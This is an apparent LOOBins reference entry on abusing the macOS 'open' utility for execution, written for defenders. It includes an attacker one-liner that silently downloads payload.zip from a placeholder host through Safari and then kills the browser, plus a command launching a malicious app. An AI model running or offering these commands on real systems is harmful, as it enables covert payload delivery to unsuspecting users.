# open

> Open files, folders, apps, URLs, and header files.

The open command-line utility can be used to open files, folders, app, URLs or header files in their associate macOS app.

- Page: https://loobins.io/binaries/open/
- Author: Brendan Chamberlain (@infosecB)
- Created: 2023-05-10
- Tactics: Execution

## Paths

- `/usr/bin/open`

## Example Use Cases

### Open a malicious file

The open command can be used to open a malicious macOS app from the terminal.

```bash
open Malicious.app
```

- Tactics: Execution
- Tags: application

### Download a malicious file

The following command downloads the payload.zip file in the default browser (Safari) and then kills it.

```bash
open -g https://mypayload.io/payload.zip; sleep 3; killall Safari
```

- Tactics: Execution

## Detections

- No detections at time of publishing

## Resources

- [The macOS open Command](https://scriptingosx.com/2017/02/the-macos-open-command/)
